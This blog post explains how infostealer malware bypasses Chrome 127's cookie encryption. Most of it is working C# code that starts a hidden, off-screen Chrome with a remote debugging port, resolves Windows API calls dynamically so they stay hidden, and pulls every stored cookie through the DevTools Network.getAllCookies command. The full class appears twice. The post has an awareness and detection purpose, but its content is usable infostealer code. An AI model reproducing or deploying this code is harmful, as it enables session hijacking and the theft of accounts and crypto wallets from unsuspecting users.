How malware developers bypassed Chrome’s new protection for cookies

Infostealers are the second largest cause for ransomware towards enterprise environments, after phishing. 30% of all ransomware attack initial access vectors is from data obtained by a infostealer. For non-businesses the damage is harder to quantify. Most infostealers target these people, trying to get discord credentials or something else like crypto wallet extensions which they can use to steal the entire balance.

Google announced that with Chrome 127 they are changing the way locally stored cookies are accessed. This was released 2024-07-23. They state that they will start with cookies, and will move on to other information such as passwords and creditcards at a later date. This change was introduced to combat infostealers ability to access locally stored information in the Chrome browser, such as login credentials, credit card information and cookies.

I am going to walk this through in C#, since its simply the easiest language to read. Malware developers did not break the encryption, they simply found a way around it.

1.

Start chrome with —remote-debugging-port set to something. In this case we are using port 9222. Use the windows API to hide the window so that the victim won’t notice it.

public ChromeDevToolsWrapper(string executablePath, string profileName)
{
    var startInfo = new ProcessStartInfo
    {
        FileName = executablePath,
        Arguments = $"--window-position=-2400,-2400 --remote-debugging-port=9222 --profile-directory=\"{profileName}\"",
        CreateNoWindow = true,
        UseShellExecute = false,
    };

    var getForegroundWindow = ImportHider.HiddenCallResolve<GetForegroundWindow>("user32.dll", "GetForegroundWindow");
    var foregroundWindowHandle = getForegroundWindow();

    _chromeProcess = Process.Start(startInfo); // starting chrome

    Thread.Sleep(300);
    if (foregroundWindowHandle != IntPtr.Zero)
    {
        var setForegroundWindow = ImportHider.HiddenCallResolve<SetForegroundWindow>("user32.dll", "SetForegroundWindow");
        setForegroundWindow(foregroundWindowHandle);
    }

    var showWindow = ImportHider.HiddenCallResolve<ShowWindow>("user32.dll", "ShowWindow");
    showWindow(_chromeProcess!.MainWindowHandle, SW_HIDE);
}

2.

Start a socket connection to the chrome process and ask it for the cookies.

public List<Cookie> ExtractCookies()
{
    var path = ExtractWebsocketUrl();
    var cookies = new List<Cookie>();
    string jsonCookies;
    
    using(var client = new WebSocketClient("localhost", 9222))
    {
        if (!client.Handshake(path))
            return cookies;
        client.SendMessage("{\"id\":1,\"method\":\"Network.getAllCookies\",\"params\":{}}"); // send command to get cookies
        jsonCookies = client.ReceiveMessage(); // receive cookies
    }
    _chromeProcess.Kill();
    return Parse(jsonCookies);
}
private string ExtractWebsocketUrl()
{
    var parser = new JsonParser();
    using var client = new WebClient();
    
    var json = client.DownloadString("http://localhost:9222/json");
    
    return parser.ParseStringV2("webSocketDebuggerUrl", json).Substring(19); // skipping ws://localhost:9222
}

3.

Parse the results!


private static List<Cookie> Parse(string jsonString)
{
    var cookiesStartIndex = jsonString.IndexOf("\"cookies\":", StringComparison.Ordinal) + 10;
    var cookiesEndIndex = jsonString.IndexOf("]}", cookiesStartIndex, StringComparison.Ordinal) + 1;
    var cookiesString = jsonString.Substring(cookiesStartIndex, cookiesEndIndex - cookiesStartIndex);
    var cookieItems = cookiesString.Split(new[] { "},{" }, StringSplitOptions.None);
    return (from cookie in cookieItems
        select cookie.Replace("{", "").Replace("}", "").Replace("[", "").Replace("]", "")
        into cookieCleaned
        let name = ExtractValue(cookieCleaned, "\"name\":\"", "\"")
        let value = ExtractValue(cookieCleaned, "\"value\":\"", "\"")
        let domain = ExtractValue(cookieCleaned, "\"domain\":\"", "\"")
        let path = ExtractValue(cookieCleaned, "\"path\":\"", "\"")
        let expires = ExtractValue(cookieCleaned, "\"expires\":", ",").Split('.').First() + "000"
        let secure = ExtractValue(cookieCleaned, "\"secure\":", ",")
        let httpOnly = ExtractValue(cookieCleaned, "\"httpOnly\":", ",")
        select new Cookie
        {
            Name = name,
            Domain = domain,
            Expires = expires,
            Path = path,
            Value = value,
            Secure = secure,
            HttpOnly = httpOnly
        }).ToList();
}

static string ExtractValue(string source, string startMarker, string endMarker)
{
    var startIndex = source.IndexOf(startMarker, StringComparison.Ordinal);
    if (startIndex == -1) return "";
    startIndex += startMarker.Length;
    var endIndex = source.IndexOf(endMarker, startIndex, StringComparison.Ordinal);
    return endIndex == -1 ? "" : source.Substring(startIndex, endIndex - startIndex);
}

Done! It’s really simple. The only downside is that it requires chrome to be running, which we solve by starting our own instance with a remote debugging port open. One could argue that starting a process and a local socket connection would make this relatively easy for EDR/XDR to detect. As you can see, there is no bug which we exploit to get the information. We are leveraging built in functionality for developers to extract it. I like these types of workarounds. Ingenuity from malware developers is always fun, and keeps us on our toes!

Here is the full class for these functions:

public class ChromeDevToolsWrapper
{
    private Process _chromeProcess;
    
    private delegate bool ShowWindow(IntPtr hWnd, int nCmdShow);
    private delegate IntPtr GetForegroundWindow();
    private delegate bool SetForegroundWindow(IntPtr hWnd);
    const int SW_HIDE = 0; // Command to hide the window

    public ChromeDevToolsWrapper(string executablePath, string profileName)
    {
        var startInfo = new ProcessStartInfo
        {
            FileName = executablePath,
            Arguments = $"--window-position=-2400,-2400 --remote-debugging-port=9222 --profile-directory=\"{profileName}\"",
            CreateNoWindow = true,
            UseShellExecute = false,
        };
        
        var getForegroundWindow = ImportHider.HiddenCallResolve<GetForegroundWindow>("user32.dll", "GetForegroundWindow");
        var foregroundWindowHandle = getForegroundWindow();
        
        _chromeProcess = Process.Start(startInfo); // starting chrome
        
        Thread.Sleep(300);
        if (foregroundWindowHandle != IntPtr.Zero)
        {
            var setForegroundWindow = ImportHider.HiddenCallResolve<SetForegroundWindow>("user32.dll", "SetForegroundWindow");
            setForegroundWindow(foregroundWindowHandle);
        }

        var showWindow = ImportHider.HiddenCallResolve<ShowWindow>("user32.dll", "ShowWindow");
        showWindow(_chromeProcess!.MainWindowHandle, SW_HIDE);
    }

    public List<Cookie> ExtractCookies()
    {
        var path = ExtractWebsocketUrl();

        var cookies = new List<Cookie>();
        string jsonCookies;
        
        // the below websocket is just a homemade basic websocket implementation, feel free to use the built in csharp one.
        using(var client = new WebSocketClient("localhost", 9222))
        {
            if (!client.Handshake(path))
                return cookies;
            
            client.SendMessage("{\"id\":1,\"method\":\"Network.getAllCookies\",\"params\":{}}"); // send command to get cookies
            
            jsonCookies = client.ReceiveMessage(); // receive cookies
        }
        
        _chromeProcess.Kill();

        
        return Parse(jsonCookies);
    }

    private string ExtractWebsocketUrl()
    {
        var parser = new JsonParser();
        using var client = new WebClient();
        
        var json = client.DownloadString("http://localhost:9222/json");
        
        return parser.ParseStringV2("webSocketDebuggerUrl", json).Substring(19); // skipping ws://localhost:9222
    }

    // mega parser
    private static List<Cookie> Parse(string jsonString)
    {
        var cookiesStartIndex = jsonString.IndexOf("\"cookies\":", StringComparison.Ordinal) + 10;
        var cookiesEndIndex = jsonString.IndexOf("]}", cookiesStartIndex, StringComparison.Ordinal) + 1;
        var cookiesString = jsonString.Substring(cookiesStartIndex, cookiesEndIndex - cookiesStartIndex);

        var cookieItems = cookiesString.Split(new[] { "},{" }, StringSplitOptions.None);

        return (from cookie in cookieItems
            select cookie.Replace("{", "").Replace("}", "").Replace("[", "").Replace("]", "")
            into cookieCleaned
            let name = ExtractValue(cookieCleaned, "\"name\":\"", "\"")
            let value = ExtractValue(cookieCleaned, "\"value\":\"", "\"")
            let domain = ExtractValue(cookieCleaned, "\"domain\":\"", "\"")
            let path = ExtractValue(cookieCleaned, "\"path\":\"", "\"")
            let expires = ExtractValue(cookieCleaned, "\"expires\":", ",").Split('.').First() + "000" // fixes expires 
            let secure = ExtractValue(cookieCleaned, "\"secure\":", ",")
            let httpOnly = ExtractValue(cookieCleaned, "\"httpOnly\":", ",")
            select new Cookie
            {
                Name = name,
                Domain = domain,
                Expires = expires,
                Path = path,
                Value = value,
                Secure = secure,
                HttpOnly = httpOnly
            }).ToList();
    }
    static string ExtractValue(string source, string startMarker, string endMarker)
    {
        var startIndex = source.IndexOf(startMarker, StringComparison.Ordinal);
        if (startIndex == -1) return "";
        startIndex += startMarker.Length;
        var endIndex = source.IndexOf(endMarker, startIndex, StringComparison.Ordinal);
        return endIndex == -1 ? "" : source.Substring(startIndex, endIndex - startIndex);
    }

    // helper functions
    public static T HiddenCallResolve<T>(string dllName, string methodName) where T : Delegate
    {
        var handle = LoadLibrary(dllName);
        if (handle == IntPtr.Zero) throw new Win32Exception(Marshal.GetLastWin32Error());
        var ptr = GetProcAddress(handle, methodName);
        return (T)Marshal.GetDelegateForFunctionPointer(ptr, typeof(T));
    }
}

And as always, be safe and have fun on the internet!